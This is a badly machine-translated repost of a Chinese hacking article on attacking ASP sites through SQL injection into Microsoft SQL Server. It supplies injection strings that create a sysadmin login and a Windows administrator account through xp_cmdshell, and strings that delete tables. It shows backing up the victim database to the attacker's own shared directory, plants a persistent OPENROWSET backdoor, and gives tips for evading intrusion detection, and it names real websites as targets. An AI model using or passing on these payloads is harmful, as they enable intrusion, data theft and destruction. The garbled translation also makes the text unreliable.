Some attacks in the SQL database

xiaoxiao2021-03-05  33

Sp_addlogin Hax (add a HAX user in the database), but this method is limited, first, the SQL Server account used by the ASP is an administrator, followed by the submission variable in the entire SQL statement, because there are some programmers to use Select. * From news where id = ... and Topic = ... and ..... This method requests the database, then if you still use the above example, you will be news.asp? Id = 2; Exec sp_addlogin Hax becomes SELECT * From news where id = 2; exec sp_addlogin hax and topic = ... and ... The entire SQL statement is in the stored procedure of the sp_addlogin, and there is AND and judgment, the syntax error, your sp_addlogin naturally does not work properly. So try to see the following method news.asp? Id = 2; exec sp_addlogin Hax; - Back - Symbols turn sp_addlogin's judgment statement into a comment, so there is no syntax error, sp_addlogin is executed normally! So let's use the news.asp? Id = 2; exec master.dbo.sp_addlogin hax; - news.asp? Id = 2; exec master.dbo.sp_password null, Hax, Hax; - News.asp ? id = 2; exec master.dbo.sp_addsrvrolemember sysadmin Hax; - news.asp? id = 2; exec master.dbo.xp_cmdshell net user Hax / Workstations: * / Times: ALL / Passwordchg: Yes / PasswordReq: YES / Active: Yes / Add; - News.asp? id = 2; exec master.dbo.xp_cmdshell net localgroup administrators Hax / add; - This left HAX administrator account in his database and system. Of course, the prerequisites are ASPs to use the administrator account, so don't tried the virtual space, there will be no such loopholes. We will discuss, if the other ASP is not using the SQL administrator account, we invaded, of course, the invasion of the 1433 port will of course, you can try to look at the ID = 2 and a symbol, mainly see how the other party ASP Written again to talk about how we do when the SQL account used by the ASP program is not administrator.

You are as the homepage of Heaven, there is news content, as follows: http://www.talent.com.cn/news/news-2.asp?newid=117 you can try to see http://www.talentitit.com .cn / news / news-2.asp? Newid = 117; SELECT 123; - Oh, news syntax error, SELECT 123 error, obvious, Tianchong new ASP will be used after the newID variable, then try to see http: / /www.talentitit.com.cn/news/news-2.asp?newid=117; Delete News; - Haha, I think as long as the name is guess, the news base is deleted the SQL account for usually ASP. Not an administrator will also be an Owner of a database, at least for this library has high management privileges, but we don't know how the library is? Take a look at the db_name () function Open your query analyzer, take a look at Print DB_Name (), huh, the current database name comes out with subclass, as follows: declare @a sysname; set @ a = db_name (); Backup Database @a to disk = Your IP Your shared directory Bak.dat, Name = TEST; - Oh, his current database back up to your hard disk, you have to do it. This method can find the other's SQL IP first firewall, open ICMP and 139TCP and 445TCP warning tips and try to see news.asp? Id = 2; exec master.dbo.xp_cmdshell ping Your IP If the firewall prompts you ping you Then, because the ASP that can be determined is SQL administrator privilege, it also determines the exact location of the other party's SQL Server, because many big websites consider performance, will be a Web service and database, when the other party When I got a patch, I would like to have this method only to locate the other side's SQL Server position. If the other party ASP does not have SQL administrator privileges, we can't call xp_cmdshell, what should I do? Don't worry, try to see this news.asp? Id = 2; declare @a; set @ a = db_name (); Backup Database @a to disk = Your IP Your shared directory Bak.dat, Name = test; Oh, your firewall should make a warning, some people connect your 445 or 139 (Win9 port, so that the other SQL IP can also expose if the other database is not Owner, what should we do? ? Next time I will tell you a better way.

In fact, Backuo Database is still a bit exaggerated. If the other database is very large, you are dialing Internet, huh, huh, persuade you to do not try, it is difficult to successfully transfer, we will talk about how to deceive IDS to perform ASP SQL intrusion currently has some good ids that has begun to monitor the XP_cmdshell. These keywords are good. Comrades Next time all the above URL I hope everyone will submit through VBScript, because the browser's address bar will block some special characters, so your command cannot Complete transmission of window.location.herf = url supplements: This issue has also been raised on the web, but only some simple XP_cmdshell calls are limited, in fact, there are many places worth in-depth, such as www.guosen.com. CN. There is this problem with the national agency certificate, and they use the three-story structure of the MS to use the XP_cmdshell approach to the previous XP_cmdshell, and the string will be filtered, but I tried, the use of SQL's heterogeneous requests can still be on the other. Machine Open the account of Telnet service and administrators group! Since the other firewall is very close CheckPoint Datasters, only open 80 ports, there is therefore difficult to get his database structure, but there is still a way to do: p By the way reminds everyone to pay attention to SQLOLEDB, DB_NAME, OpenRowSet, OpenDataSource These system functions When the ASP's SQL Server account is just a normal user, they will be useful! SQL Server New Vulnerability and Some Breakfasts I have to talk about some SQL Server new bugs, although I have been working hard, of course, I have a little lucky component, I can find it, I don't dare to enjoy alone, take it out, please Identification, of course, it is likely to have some masters already know, after all, I have been in contact with SQL Server for less than 1 year: P1. About OpenRowSet and OpenDataSource may have already a skill, that is, using OpenRowSet to send local commands usually our usage is (including MSDN's list) as follows Select * from OpenRowSet (SQLOLDB, MyServer; sa; select * from table) visible (SELECT * from shop Even from the literal sense) OpenRowSet is just as a fast remote database access, it must follow the select, that is, what we need to return a recordset, then can we use it to call XP_cmdshell? The answer is yes! Select * from OpenRowSet (SQLOLEDB, Server; SA;, SET FMTONLY OFF EXEC MASTER.DBO.XP_CMDSHEC MASTER.DBO.XP_CMDSHEC DIR C: /) must add set fmtonly off to block the settings of the default only return column information, so XP_cmdshell returns Output collection It will be submitted to the previous Select display. If the default setting is used, it will return the empty collection caused the select error, and the command will not be executed.

So if we want to call sp_addlogin, he will not return any collection as XP_cmdshell, we can't rely on FMTONLY, you can do the SELECT * OPENROWSET (SQLOLDB, Server; Sa;, SELECT OK! EXEC MASTER.DBO. SP_ADDLOGIN HECTIC) This will return at least the collection of Select OK!, your machine chamber shows OK!, the other's database will also add a hectic account, that is, we use Select OK! return to the collection to deceive it. Local SELECT requests, the command can be performed normally, and the pendant sp_addsrvrolemember and OpenDataSource can also do this! As for the true use of this method, everyone thinks: P 2. Regarding the question of MSDasql twice, I don't know if you have tried the MSDasql connection remote database. Of course, this API must be administrator of SQLServer to call, then select * from openrowset (msdasql, driver = {sql server}; server = server; address = server, 1433; uid = sa; pwd =; data = master; network = dbmsoCN, SELECT * home1 select * from table2) When the number of fields of Table1 and Table2 is not the same, you will find each other's SQLServer Crash, even the local connection will fail, and the system resource takes everything, after killing the SQL Server process with pskill, if the machine is not restarted, SQL Server does not start normally, or often illegal operation, I just happen to find this bug. I haven't touched it in the specific reason, and it is very strange that this phenomenon only appears on MSDasql, and SQLOLDB has no such problem. It seems that the problem is not that the number of collections and the number of returns do not match, because it is MSDasql itself For specific reasons, everyone will study together: P 3. The terrible back door has seen someone on the Internet. Some people say that after SQL Server can do it by adding Triger, Jobs, or rewriting sp_addlogin and sp_addsrvroleMember, these methods are of course feasible, but it is easy to be discovered. I don't know if you have thought about the local connection map of SQLOLOLDB. Oh, such as you execute the following command * from openrowset with SQL Server administrator account on each other's SQL Server, Data Source = Hect, Set Fmtonly Off Exec Master " The local connection map named hectic is established on the other's SQL Server. As long as SQL Server does not restart, this mapping will always exist, at least I don't know how to find the connection mapped by others, well, the above command has run, You will find that the guest user without any permissions, running the above command! And the permissions are Localsystem! (Default installation) huh! This method can be used to leave a back door with SQL Server that has been invaded by administrator privileges.

The above method passes on SQL Server2000 SQLServer 200SP1! * There is another guess. I don't know if you haven't pay more attention to the two DSNs included with Windows. One is the LocalServer one is MSQi. These two are the local administrator account connection SQLServer, if the other party's SQL Server is By starting with custom Power User, the permissions of SA are like Power User, it is difficult to make a big, but we pass the following command Select * from OpenRowSet (Msdasql, DSN = LocaserVer; Trusted_Connection = YES, Set Fmtonly Off Exec MASTER..XP_CMDSHELL DIR C: /) The local SQLServer should be used to connect the local SQLServer account, and then perform local commands with this account, this is, I think it should be able to break through the SA That Power User authority. The current problem is that SQLOLEDB cannot call the DSN connection, and the MSDasql non-administrator does not let the call, so I am looking for the method of guest call MSDasql. If someone knows how this bug breaks through, or there is a new idea, we can discuss it together, This distribution can be used in successful use of Guest, it will be a very serious security vulnerability.

转载请注明原文地址:https://www.9cbs.com/read-33522.html

New Post(0)